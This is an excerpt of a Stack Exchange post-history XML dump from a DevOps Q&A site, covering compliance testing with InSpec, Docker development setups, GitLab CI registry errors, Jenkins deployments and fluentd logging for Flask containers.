  <row Id="25819" PostHistoryTypeId="10" PostId="8797" RevisionGUID="987dbb82-5453-465d-90d6-9c4181ca307a" CreationDate="2019-08-05T06:29:15.157" UserId="46" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:354,&quot;DisplayName&quot;:&quot;Bruce Becker&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="25824" PostHistoryTypeId="2" PostId="8809" RevisionGUID="2d37bbc6-9e3b-48f6-aec4-acfa846d6bd3" CreationDate="2019-08-05T06:49:16.617" UserId="354" Text="This has been referenced before in the links that you posted, so I will just add some specifics. Compliance testing can be thought of as a kind of QA or integration test, just like the other tests that your application(s) may have. In order to make it useful, a compliance test should fail the build in some meaningful way and guide the both developers and those responsible for operating them applications (hopefully part of the same team) what guideline is being infringed upon and how to regain compliance.&#xD;&#xA;&#xD;&#xA;This also means that the compliance team needs to be able to write tests which make assertions on the _deployed_ state of the application, preferably *before* it is deployed. If compliance is done after the deployment, you face the need to roll back or apply hotfixes.&#xD;&#xA;&#xD;&#xA;I have found that [Chef Inspec](https://inspec.io) is a good tool for this job. It allows the compliance team to write profiles right off of best-practice documents. It can be kept in an independent repository, to be picked off the shelf if need be and applied to arbitrary workloads, or included in the same repository as the application. The former scenario allows global compliance testing across the entire org's suite of applications, while the latter helps to foster better collaboration between the developers and the security teams. Of course there are several options in-between.&#xD;&#xA;&#xD;&#xA;A good example of how to write a compliance profile is available from [Chef's training site](https://learn.chef.io/modules/create-profile-from-doc#/).&#xD;&#xA;&#xD;&#xA;Who should write the profiles depends on several factors, including proficiency, role and of course operational responsibility for the application. I have found that it is best when the profiles are written by a second set of eyes than those who write the deployment code. This is in the interest of keeping the audit process independent and unbiased.&#xD;&#xA;&#xD;&#xA;As to where the compliance tests should be inserted in the CI/CD pipeline, this is often a matter of discussion, and depends on your delivery and deployment model. Others have mentioned the benefits of [shifting left](https://en.wikipedia.org/wiki/Shift-left_testing) and this makes sense too in the DevSecOps world.&#xD;&#xA;&#xD;&#xA;The key however is to test _actual production states_. Often people would use the staging environment for this, which would be a good idea if it is as close as possible to the production environment. The reality however is that certain aspects of compliance affect certain aspects of the application or environment, so it often makes more sense to inject the compliance testing into the various stages of CI/CD deployment similar to [Figure 3.1 of ](https://www.oreilly.com/library/view/devopssec/9781491971413/ch03.html) : &#xD;&#xA;&#xD;&#xA;[![Credit: https://www.oreilly.com/library/view/devopssec/9781491971413/ch03.html][1]][1]&#xD;&#xA;&#xD;&#xA;Different tools come into play in different stages, and as you move down the delivery pipeline, the compliance envelope becomes increasingly complex. After deployment, you also don't have absolute certainty that the state has not diverged from what is in the codebase (people could log in and do things). At some point you should need to assert overally compliance of the application, and have it inclued as part of your monitoring system.&#xD;&#xA;&#xD;&#xA;Having a set of compliance profiles **executable as code** and **able to break the build**  makes it a bit easier to implement continuous improvement, give immediate feebdack to developers and operators, thereby shipping quality code faster. It also allows you to give concrete information to the auditors when they come knocking.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/kyPPd.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="25826" PostHistoryTypeId="2" PostId="8811" RevisionGUID="a717f138-606e-47d6-b1b9-c9fb96ec5605" CreationDate="2019-08-05T07:50:36.963" UserId="12501" Text="I have an *Rocky OpenStack cluster*, I want to monitor memory usage of instances.&#xD;&#xA;&#xD;&#xA;monitoring of Linux instances is OK but Windows Server instances do not provide any data for memory usage. &#xD;&#xA;&#xD;&#xA;I've searched a lot, I've installed *balloon* driver on windows instances but not worked for me. All components are updated to latest version. &#xD;&#xA;&#xD;&#xA;So how can I get memory usage data from them?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25827" PostHistoryTypeId="1" PostId="8811" RevisionGUID="a717f138-606e-47d6-b1b9-c9fb96ec5605" CreationDate="2019-08-05T07:50:36.963" UserId="12501" Text="How to get Memory Usage from Windows Server 2012 R2 in OpenStack" ContentLicense="CC BY-SA 4.0" />
  <row Id="25828" PostHistoryTypeId="3" PostId="8811" RevisionGUID="a717f138-606e-47d6-b1b9-c9fb96ec5605" CreationDate="2019-08-05T07:50:36.963" UserId="12501" Text="&lt;monitoring&gt;&lt;openstack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25832" PostHistoryTypeId="2" PostId="8813" RevisionGUID="931c738e-bf61-4ceb-b58e-d85ea4740a2d" CreationDate="2019-08-05T09:10:31.563" UserId="354" Text="I have a few packer templates which have several builders - up to 5 per template. This makes it very easy to provision all the resources necessary in a pipeline -- however by default packer writes all the output in a single stream. Yes, it separates builders by colour which makes it a bit easier to see what's going on, but it is nevertheless very difficult to find where a particular build failed.&#xD;&#xA;&#xD;&#xA;I would like to know what would be a good way to split the packer output per builder into a separate file.&#xD;&#xA;&#xD;&#xA;Note :&#xD;&#xA;&#xD;&#xA;- I **do not** want to lose paralellism&#xD;&#xA;- I **do** accept that some post-processing of the log is necessary&#xD;&#xA;&#xD;&#xA;Packer has a `-machine-readable` flag which writes things like :&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;1564995900,,ui,message,    admin-ami: Instance ID: i-04ef2474a070403ad&#xD;&#xA;1564995900,,ui,say,==&gt; admin-ami: Waiting for instance (i-04ef2474a070403ad) to become ready...&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;which one could parse." ContentLicense="CC BY-SA 4.0" />
  <row Id="25833" PostHistoryTypeId="1" PostId="8813" RevisionGUID="931c738e-bf61-4ceb-b58e-d85ea4740a2d" CreationDate="2019-08-05T09:10:31.563" UserId="354" Text="Packer : write output per builder into separate log files" ContentLicense="CC BY-SA 4.0" />
  <row Id="25834" PostHistoryTypeId="3" PostId="8813" RevisionGUID="931c738e-bf61-4ceb-b58e-d85ea4740a2d" CreationDate="2019-08-05T09:10:31.563" UserId="354" Text="&lt;packer&gt;&lt;logging&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25835" PostHistoryTypeId="2" PostId="8814" RevisionGUID="0615e733-d35c-4768-91b0-1209a7184e4a" CreationDate="2019-08-05T09:17:43.487" UserId="786" Text="In PowerShell&#xD;&#xA;&#xD;&#xA;    Get-WmiObject -Class win32_operatingsystem -Property TotalVisibleMemorySize,FreePhysicalMemory&#xD;&#xA;&#xD;&#xA;Or &#xD;&#xA;&#xD;&#xA;    wmic os get freephysicalmemory&#xD;&#xA;&#xD;&#xA;Or&#xD;&#xA;&#xD;&#xA;    systeminfo&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25836" PostHistoryTypeId="2" PostId="8815" RevisionGUID="d53d877a-a46e-4864-b16f-f5fc2220d544" CreationDate="2019-08-05T10:23:31.870" UserId="13531" Text="A container runtime is the part of your container environment in charge of the creation and basic features of your containers. The obvious one is Docker, but you can also find Containerd, CRI-O and other as runtime for your containers. &#xD;&#xA;&#xD;&#xA;An orchestrator, by contrast, will not exactly create your container (ie, an orchestrator is not the technology used to create them). An orchestrator will use your container runtime to manage them. In a way, it's a layer around your container runtime wich allow finer usages, such as scaling, multi host deployments, load balancing...&#xD;&#xA;&#xD;&#xA;The most famous orchestrators would be Kurbenetes, Docker Swarm...&#xD;&#xA;&#xD;&#xA;I hope this help! Have fun." ContentLicense="CC BY-SA 4.0" />
  <row Id="25837" PostHistoryTypeId="2" PostId="8816" RevisionGUID="20e4d6df-1f7c-4b27-9ae0-520b932a50fc" CreationDate="2019-08-05T10:34:50.193" UserId="16390" Text="What is the best way to use Docker in development so that a container is automatically updated each time you make a change to the codebase?&#xD;&#xA;&#xD;&#xA;Thank you!" ContentLicense="CC BY-SA 4.0" />
  <row Id="25838" PostHistoryTypeId="1" PostId="8816" RevisionGUID="20e4d6df-1f7c-4b27-9ae0-520b932a50fc" CreationDate="2019-08-05T10:34:50.193" UserId="16390" Text="How to automatically update Docker containers in development?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25839" PostHistoryTypeId="3" PostId="8816" RevisionGUID="20e4d6df-1f7c-4b27-9ae0-520b932a50fc" CreationDate="2019-08-05T10:34:50.193" UserId="16390" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dockerfile&gt;&lt;development-environment&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25840" PostHistoryTypeId="2" PostId="8817" RevisionGUID="c9c41737-12c1-4f20-9ce7-8f6f0b0cd593" CreationDate="2019-08-05T11:19:27.173" UserId="16392" Text="You must be Install the **Virtio Balloon** driver AND the **Balloon service** in the guest:&#xD;&#xA;&#xD;&#xA;1-Open Device Manager and see if there is an unknown PCI device. If so, right click it and install the driver manually from D:\Balloon\2K16\amd64 (or 2k12, 2k8, etc)&#xD;&#xA;&#xD;&#xA;2-Now copy the entire amd64 folder into C:\Program Files\ (NOT x86) and rename it &quot;Balloon&quot;. So, now you have the amd64 folder from the disc copied as C:\Program Files\Balloon&#xD;&#xA;&#xD;&#xA;3-Open an Administrative Command Prompt and cd to C:\Program Files\Balloon&#xD;&#xA;&#xD;&#xA;4-Run this command:&#xD;&#xA;&#xD;&#xA;    BLNSVR.exe -i" ContentLicense="CC BY-SA 4.0" />
  <row Id="25842" PostHistoryTypeId="2" PostId="8818" RevisionGUID="6f949247-7105-4dc9-b900-5999c0895acc" CreationDate="2019-08-05T12:40:05.290" UserId="15098" Text="Terraform destroy and creates new AWS resources when I modify the modules with new resources. &#xD;&#xA;&#xD;&#xA;Tried with ::&#xD;&#xA;&#xD;&#xA;lifecycle {&#xD;&#xA;  prevent_destroy = true&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;Getting the below error :&#xD;&#xA;&#xD;&#xA;&quot; the plan would destroy this resource, but it currently has lifecycle.prevent_destroy set to true. To avoid this error and continue with the plan, either disable lifecycle.prevent_destroy or adjust the scope of the plan using the -target flag.&quot;&#xD;&#xA;&#xD;&#xA;Is there any method to update terraform without launching new resources?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25843" PostHistoryTypeId="1" PostId="8818" RevisionGUID="6f949247-7105-4dc9-b900-5999c0895acc" CreationDate="2019-08-05T12:40:05.290" UserId="15098" Text="Terraform destroy and creates new AWS resources" ContentLicense="CC BY-SA 4.0" />
  <row Id="25844" PostHistoryTypeId="3" PostId="8818" RevisionGUID="6f949247-7105-4dc9-b900-5999c0895acc" CreationDate="2019-08-05T12:40:05.290" UserId="15098" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25845" PostHistoryTypeId="4" PostId="8818" RevisionGUID="8294e498-c74d-4cc5-b33d-c0f24c3060f5" CreationDate="2019-08-05T12:51:04.770" UserId="15098" Comment="edited title" Text="Terraform destroys and creates new AWS resources" ContentLicense="CC BY-SA 4.0" />
  <row Id="25846" PostHistoryTypeId="52" PostId="8811" RevisionGUID="a8410576-f879-4653-b83e-70a41f59daac" CreationDate="2019-08-05T16:01:54.520" />
  <row Id="25850" PostHistoryTypeId="2" PostId="8820" RevisionGUID="2ed8a048-dda0-4db2-a537-f7ac7d54a612" CreationDate="2019-08-05T18:39:51.027" UserId="13531" Text="What kind of technology do you use? Are you speaking about local deployment, during development phase? If you have some kind of &quot;ng serve&quot; feature like in Angular you can probably use volumes ([bind mounts][1], to be specific) to bind your code on your host to the code inside your container. Then, every time you do a modification on your code, it will be updated automatically. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/storage/bind-mounts/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25852" PostHistoryTypeId="2" PostId="8821" RevisionGUID="38caab25-5bd8-48cf-87c4-7195be1bd766" CreationDate="2019-08-06T00:55:09.813" UserId="6775" Text="For a local development using docker-compose it depends on the language you use to code. But almost all languages have some kind of watch mode to take care when the code changes and reload your service or application.&#xD;&#xA;&#xD;&#xA;No matter what language you use for coding if you want to have an auto-refresh feature you need to use volumes on your docker-compose.yaml file to mount your local folder as a volume inside the container.&#xD;&#xA;&#xD;&#xA;With that said one example of that would be using [nodemon][1] on a [nodeJS][2] project, but you have o take care not to use nodemon on production by using the `CMD` on the Dockerfile and docker-compose.yaml properly.&#xD;&#xA;&#xD;&#xA;An example of Dockerfile:&#xD;&#xA;&#xD;&#xA;```Dockerfile&#xD;&#xA;FROM node:12&#xD;&#xA;&#xD;&#xA;WORKDIR /app&#xD;&#xA;&#xD;&#xA;RUN npm i -g nodemon&#xD;&#xA;&#xD;&#xA;COPY . /app&#xD;&#xA;&#xD;&#xA;CMD node app.js&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And on the docker-compose.yaml:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;version: 3&#xD;&#xA;services:&#xD;&#xA;  backend:&#xD;&#xA;    build: .&#xD;&#xA;    image: local-development&#xD;&#xA;    volumes:&#xD;&#xA;      - .:/app&#xD;&#xA;      - /app/node_modules&#xD;&#xA;    command: ['nodemon', 'app.js']&#xD;&#xA;```&#xD;&#xA;Look at the two volumes, the first one is for mounting your local directory on `/app`, but you need the second one to avoid mounting `/app/node_modules` because you can have problems with modules you have on local that are not the right architecture inside the container, for example, a MacOS compiled module inside a Linux container.&#xD;&#xA;&#xD;&#xA;When you use the image on a production environment it will use `node app.js` as a command but on the `docker-compose.yaml` file is overridden by `nodemon app.js`.&#xD;&#xA;&#xD;&#xA;  [1]: https://nodemon.io/&#xD;&#xA;  [2]: https://nodejs.org/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25853" PostHistoryTypeId="50" PostId="8293" RevisionGUID="574b8f19-8157-40ed-85d4-8828cd3187b3" CreationDate="2019-08-06T05:01:35.177" UserId="-1" />
  <row Id="25857" PostHistoryTypeId="2" PostId="8823" RevisionGUID="88ed9b50-1935-4921-9f88-b0baf108d505" CreationDate="2019-08-06T09:16:30.797" UserId="15650" Text="I have built a custom base image from alpine and use it as the base for ruby services that we develop.&#xD;&#xA;&#xD;&#xA;    FROM ruby:2.4.2-alpine&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I use Gitlab and Gitlab's docker registry along with it. Each project has its own docker image storage. &#xD;&#xA;&#xD;&#xA;I created a separate project for the **alpine-ruby-service** dockerfile. Then build and pushed the image to Gitlab.&#xD;&#xA;&#xD;&#xA;In the ruby service project docker images, I reference it as follows&#xD;&#xA;&#xD;&#xA;    FROM gitlab.mycompany.dk/alpine-ruby-service&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I have a CI/CD pipeline (.gitlab-ci.yaml) which builds these ruby service images when there is a commit to one of the branches. &#xD;&#xA;&#xD;&#xA;The problem is that when the CI/CD pipeline is run it fails with the following message &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     $ docker build --pull -t $CONTAINER_TEST_IMAGE .&#xD;&#xA;       Sending build context to Docker daemon  709.6kB&#xD;&#xA;&#xD;&#xA;     Step 1/13 : FROM gitlab.mycompany.dk:xxxx/alpine-ruby-service-base&#xD;&#xA;     pull access denied for gitlab.mycompany.dk:xxxx/alpine-ruby-service-base,&#xD;&#xA;     repository does not exist or may require 'docker login': denied: &#xD;&#xA;     requested access to the resource is denied&#xD;&#xA;&#xD;&#xA;I have an instruction to login to the Gitlab docker registry before the build command above using &#xD;&#xA;&#xD;&#xA;     docker login --username=gitlab-ci-token --password=$CI_JOB_TOKEN gitlab.mycompany.dk:xxxx&#xD;&#xA;&#xD;&#xA;the login succeeds but the following docker build instruction fails!!! can someone point me what is going wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25858" PostHistoryTypeId="1" PostId="8823" RevisionGUID="88ed9b50-1935-4921-9f88-b0baf108d505" CreationDate="2019-08-06T09:16:30.797" UserId="15650" Text="Gitlab CI/CD fails to build docker image" ContentLicense="CC BY-SA 4.0" />
  <row Id="25859" PostHistoryTypeId="3" PostId="8823" RevisionGUID="88ed9b50-1935-4921-9f88-b0baf108d505" CreationDate="2019-08-06T09:16:30.797" UserId="15650" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;cicd&gt;&lt;docker-registry&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25860" PostHistoryTypeId="5" PostId="8823" RevisionGUID="835db043-86d9-4332-a097-5ebfc83b0ca7" CreationDate="2019-08-06T09:31:12.557" UserId="15650" Comment="added 5 characters in body" Text="I have built a custom base image from alpine and use it as the base for ruby services that we develop.&#xD;&#xA;&#xD;&#xA;    FROM ruby:2.4.2-alpine&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I use Gitlab and Gitlab's docker registry along with it. Each project has its own docker image storage. &#xD;&#xA;&#xD;&#xA;I created a separate project for the **alpine-ruby-service** dockerfile. Then build and pushed the image to Gitlab.&#xD;&#xA;&#xD;&#xA;In the ruby service project docker images, I reference it as follows&#xD;&#xA;&#xD;&#xA;    FROM gitlab.mycompany.dk/alpine-ruby-service-base&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;I have a CI/CD pipeline (.gitlab-ci.yaml) which builds these ruby service images when there is a commit to one of the branches. &#xD;&#xA;&#xD;&#xA;The problem is that when the CI/CD pipeline is run it fails with the following message &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     $ docker build --pull -t $CONTAINER_TEST_IMAGE .&#xD;&#xA;       Sending build context to Docker daemon  709.6kB&#xD;&#xA;&#xD;&#xA;     Step 1/13 : FROM gitlab.mycompany.dk:xxxx/alpine-ruby-service-base&#xD;&#xA;     pull access denied for gitlab.mycompany.dk:xxxx/alpine-ruby-service-base,&#xD;&#xA;     repository does not exist or may require 'docker login': denied: &#xD;&#xA;     requested access to the resource is denied&#xD;&#xA;&#xD;&#xA;I have an instruction to login to the Gitlab docker registry before the build command above using &#xD;&#xA;&#xD;&#xA;     docker login --username=gitlab-ci-token --password=$CI_JOB_TOKEN gitlab.mycompany.dk:xxxx&#xD;&#xA;&#xD;&#xA;the login succeeds but the following docker build instruction fails!!! can someone point me what is going wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25863" PostHistoryTypeId="2" PostId="8824" RevisionGUID="96dfe655-73d3-456f-b115-47e67b34060a" CreationDate="2019-08-06T11:04:31.827" UserId="16405" Text="Suppose I have two machine ( A &amp; B ) and i have jenkins installed in machine A , can I deploy in machine B using Jenkins installed in machine A? I am using Jenkins Multibranch pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="25864" PostHistoryTypeId="1" PostId="8824" RevisionGUID="96dfe655-73d3-456f-b115-47e67b34060a" CreationDate="2019-08-06T11:04:31.827" UserId="16405" Text="CICD using jenkins which is installed in other machine" ContentLicense="CC BY-SA 4.0" />
  <row Id="25865" PostHistoryTypeId="3" PostId="8824" RevisionGUID="96dfe655-73d3-456f-b115-47e67b34060a" CreationDate="2019-08-06T11:04:31.827" UserId="16405" Text="&lt;jenkins&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25866" PostHistoryTypeId="50" PostId="8551" RevisionGUID="639c81b2-0cf3-4be0-a878-bf32e2be0c98" CreationDate="2019-08-06T14:02:55.360" UserId="-1" />
  <row Id="25867" PostHistoryTypeId="2" PostId="8825" RevisionGUID="b9c65c23-65de-4816-80eb-4fd25c232618" CreationDate="2019-08-06T14:10:16.570" UserId="15792" Text="If your question is can Jenkins deploy to machine B then the answer is absolutely!  Jenkins provides documentation on deployments [here][1], and has an example of a multibranch pipeline deployment [here][2].&#xD;&#xA;&#xD;&#xA;If you want machine B to deploy to a different computer (e.g. machine C) then you can do this by configuring machine B to be an &quot;agent&quot;, and following the deployment guides linked to above.&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/pipeline/tour/deployment/&#xD;&#xA;  [2]: https://jenkins.io/doc/tutorials/build-a-multibranch-pipeline-project/#add-deliver-and-deploy-stages-to-your-pipeline" ContentLicense="CC BY-SA 4.0" />
  <row Id="25874" PostHistoryTypeId="2" PostId="8828" RevisionGUID="4b03db66-48a4-4459-9108-ceca2ca7e62c" CreationDate="2019-08-06T15:55:55.867" UserId="16361" Text="I am facing a strange problem with logging when I set up a network of three docker containers each running a small flask app.&#xD;&#xA;&#xD;&#xA;My python application looks as follows:&#xD;&#xA;&#xD;&#xA;    from flask import Flask, request&#xD;&#xA;    import sys&#xD;&#xA;    import logging&#xD;&#xA;    import logging.handlers&#xD;&#xA;    import os&#xD;&#xA;    &#xD;&#xA;    app = Flask(__name__)&#xD;&#xA;    &#xD;&#xA;    logger = logging.getLogger('Logger')&#xD;&#xA;    logger.setLevel(logging.DEBUG)&#xD;&#xA;    log_handler = logging.StreamHandler(sys.stdout)&#xD;&#xA;    logger.addHandler(log_handler)&#xD;&#xA;    &#xD;&#xA;    service_name=&quot;&quot;&#xD;&#xA;    if 'SERVICE_NAME' in os.environ:&#xD;&#xA;        service_name = os.environ['SERVICE_NAME']&#xD;&#xA;    &#xD;&#xA;    logger = logging.LoggerAdapter(logger, {&quot;serviceName&quot; : service_name})&#xD;&#xA;    &#xD;&#xA;    @app.route(&quot;/ping&quot;)&#xD;&#xA;    def ping():&#xD;&#xA;        logger.info(f'answering ping request')&#xD;&#xA;    &#xD;&#xA;        return f'{service_name} OK'&#xD;&#xA;    &#xD;&#xA;    if __name__ == &quot;__main__&quot;:&#xD;&#xA;        logger.info(&quot;Started&quot;)&#xD;&#xA;    &#xD;&#xA;        app.run(debug=True, host='0.0.0.0')&#xD;&#xA;&#xD;&#xA;I start three instances of this in a docker network behind nginx:&#xD;&#xA;&#xD;&#xA;    docker network create tNet&#xD;&#xA;    &#xD;&#xA;    docker run -it -d -p 24224:24224 -v `pwd`:/fluentd/etc -e FLUENTD_CONF=fluentd.conf --name=fluentd_logging fluent/fluentd&#xD;&#xA;    &#xD;&#xA;    docker run -d --log-driver=fluentd --name ms1 -e SERVICE_NAME=&quot;ms1&quot; --network tNet testflask&#xD;&#xA;    docker run -d --log-driver=fluentd --name ms2 -e SERVICE_NAME=&quot;ms2&quot; --network tNet testflask&#xD;&#xA;    docker run -d --log-driver=fluentd --name ms3 -e SERVICE_NAME=&quot;ms3&quot; --network tNet testflask&#xD;&#xA;    &#xD;&#xA;    docker run -d --name=nginx --network tNet --volume `pwd`/nginx.conf:/etc/nginx/conf.d/default.conf -p 2000:2000 -p 3000:3000 nginx&#xD;&#xA;&#xD;&#xA;The nginx configuration is as follows:&#xD;&#xA;&#xD;&#xA;    upstream app {&#xD;&#xA;        server ms1:5000;&#xD;&#xA;        server ms2:5000;&#xD;&#xA;        server ms3:5000;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;        listen 2000;&#xD;&#xA;    &#xD;&#xA;        location / {&#xD;&#xA;            proxy_pass http://app;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;My fluent configuration looks as follows:&#xD;&#xA;&#xD;&#xA;    &lt;source&gt;&#xD;&#xA;        @type forward&#xD;&#xA;    &lt;/source&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;match&gt;&#xD;&#xA;        @type stdout&#xD;&#xA;    &lt;/match&gt;&#xD;&#xA;&#xD;&#xA;When I use curl I can see that each instance of the service is responding:&#xD;&#xA;&#xD;&#xA;    curl localhost:2000/ping&#xD;&#xA;    ms1 OK&#xD;&#xA;    curl localhost:2000/ping&#xD;&#xA;    ms2 OK&#xD;&#xA;    curl localhost:2000/ping&#xD;&#xA;    ms3 OK&#xD;&#xA;&#xD;&#xA;When I however inspect the logs I can only see logs from the 3rd instance of the service:&#xD;&#xA;&#xD;&#xA;    docker logs &lt;fluent container ID&gt; | grep -Eis &quot;answering ping&quot;&#xD;&#xA;&#xD;&#xA;    19-08-06 15:34:46.000000000 +0000 be338a3d5aa0: {&quot;container_id&quot;:&quot;be338a3d5aa0b8920366fdf1ba2a267082cee47e681adcea16b6c51c9c82cf0d&quot;,&quot;container_name&quot;:&quot;/ms3&quot;,&quot;source&quot;:&quot;stdout&quot;,&quot;log&quot;:&quot;answering ping request&quot;}&#xD;&#xA;    2019-08-06 15:34:48.000000000 +0000 be338a3d5aa0: {&quot;container_id&quot;:&quot;be338a3d5aa0b8920366fdf1ba2a267082cee47e681adcea16b6c51c9c82cf0d&quot;,&quot;container_name&quot;:&quot;/ms3&quot;,&quot;source&quot;:&quot;stdout&quot;,&quot;log&quot;:&quot;answering ping request&quot;}&#xD;&#xA;&#xD;&#xA;Has anyone an idea? Thank you in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="25875" PostHistoryTypeId="1" PostId="8828" RevisionGUID="4b03db66-48a4-4459-9108-ceca2ca7e62c" CreationDate="2019-08-06T15:55:55.867" UserId="16361" Text="Problem with logging in docker when using fluentd for logging of three flask apps running in a docker network behind an nginx" ContentLicense="CC BY-SA 4.0" />
  <row Id="25876" PostHistoryTypeId="3" PostId="8828" RevisionGUID="4b03db66-48a4-4459-9108-ceca2ca7e62c" CreationDate="2019-08-06T15:55:55.867" UserId="16361" Text="&lt;microservices&gt;&lt;logging&gt;&lt;flask&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25880" PostHistoryTypeId="5" PostId="8828" RevisionGUID="468b05bd-78d3-40ad-81d9-4ad5ccd218ec" CreationDate="2019-08-06T16:02:12.000" UserId="16361" Comment="deleted 212 characters in body" Text="I am facing a strange problem with logging when I set up a network of three docker containers each running a small flask app.&#xD;&#xA;&#xD;&#xA;My python application looks as follows:&#xD;&#xA;&#xD;&#xA;    from flask import Flask, request&#xD;&#xA;    import sys&#xD;&#xA;    import logging&#xD;&#xA;    import logging.handlers&#xD;&#xA;    import os&#xD;&#xA;    &#xD;&#xA;    app = Flask(__name__)&#xD;&#xA;    &#xD;&#xA;    logger = logging.getLogger('Logger')&#xD;&#xA;    logger.setLevel(logging.DEBUG)&#xD;&#xA;    log_handler = logging.StreamHandler(sys.stdout)&#xD;&#xA;    logger.addHandler(log_handler)&#xD;&#xA;    &#xD;&#xA;    service_name=&quot;&quot;&#xD;&#xA;    if 'SERVICE_NAME' in os.environ:&#xD;&#xA;        service_name = os.environ['SERVICE_NAME']&#xD;&#xA;    &#xD;&#xA;    logger = logging.LoggerAdapter(logger, {&quot;serviceName&quot; : service_name})&#xD;&#xA;    &#xD;&#xA;    @app.route(&quot;/ping&quot;)&#xD;&#xA;    def ping():&#xD;&#xA;        logger.info(f'answering ping request')&#xD;&#xA;    &#xD;&#xA;        return f'{service_name} OK'&#xD;&#xA;    &#xD;&#xA;    if __name__ == &quot;__main__&quot;:&#xD;&#xA;        logger.info(&quot;Started&quot;)&#xD;&#xA;    &#xD;&#xA;        app.run(debug=True, host='0.0.0.0')&#xD;&#xA;&#xD;&#xA;I start three instances of this in a docker network behind nginx:&#xD;&#xA;&#xD;&#xA;    docker network create tNet&#xD;&#xA;    &#xD;&#xA;    docker run -it -d -p 24224:24224 -v `pwd`:/fluentd/etc -e FLUENTD_CONF=fluentd.conf --name=fluentd_logging fluent/fluentd&#xD;&#xA;    &#xD;&#xA;    docker run -d --log-driver=fluentd --name ms1 -e SERVICE_NAME=&quot;ms1&quot; --network tNet testflask&#xD;&#xA;    docker run -d --log-driver=fluentd --name ms2 -e SERVICE_NAME=&quot;ms2&quot; --network tNet testflask&#xD;&#xA;    docker run -d --log-driver=fluentd --name ms3 -e SERVICE_NAME=&quot;ms3&quot; --network tNet testflask&#xD;&#xA;    &#xD;&#xA;    docker run -d --name=nginx --network tNet --volume `pwd`/nginx.conf:/etc/nginx/conf.d/default.conf -p 2000:2000 -p 3000:3000 nginx&#xD;&#xA;&#xD;&#xA;The nginx configuration is as follows:&#xD;&#xA;&#xD;&#xA;    upstream app {&#xD;&#xA;        server ms1:5000;&#xD;&#xA;        server ms2:5000;&#xD;&#xA;        server ms3:5000;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    server {&#xD;&#xA;        listen 2000;&#xD;&#xA;    &#xD;&#xA;        location / {&#xD;&#xA;            proxy_pass http://app;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;My fluent configuration looks as follows:&#xD;&#xA;&#xD;&#xA;    &lt;source&gt;&#xD;&#xA;        @type forward&#xD;&#xA;    &lt;/source&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;match&gt;&#xD;&#xA;        @type stdout&#xD;&#xA;    &lt;/match&gt;&#xD;&#xA;&#xD;&#xA;When I use curl I can see that each instance of the service is responding:&#xD;&#xA;&#xD;&#xA;    curl localhost:2000/ping&#xD;&#xA;    ms1 OK&#xD;&#xA;    curl localhost:2000/ping&#xD;&#xA;    ms2 OK&#xD;&#xA;    curl localhost:2000/ping&#xD;&#xA;    ms3 OK&#xD;&#xA;&#xD;&#xA;When I however inspect the logs I can only see logs from the 3rd instance of the service:&#xD;&#xA;&#xD;&#xA;    docker logs &lt;fluent container ID&gt; | grep -Eis &quot;answering ping&quot;&#xD;&#xA;&#xD;&#xA;    19-08-06 15:34:46.000000000 +0000 be338a3d5aa0: {&quot;container_id&quot;:&quot;be338a3d5aa0b8920366fdf1ba2a267082cee47e681adcea16b6c51c9c82cf0d&quot;,&quot;container_name&quot;:&quot;/ms3&quot;,&quot;source&quot;:&quot;stdout&quot;,&quot;log&quot;:&quot;answering ping request&quot;}&#xD;&#xA;&#xD;&#xA;Has anyone an idea? Thank you in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="25881" PostHistoryTypeId="13" PostId="8723" RevisionGUID="f454cddb-4603-452a-abe4-fcca4a23dd8f" CreationDate="2019-08-06T19:46:49.317" UserId="16221" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:16221,&quot;DisplayName&quot;:&quot;Jared&quot;}]}" />
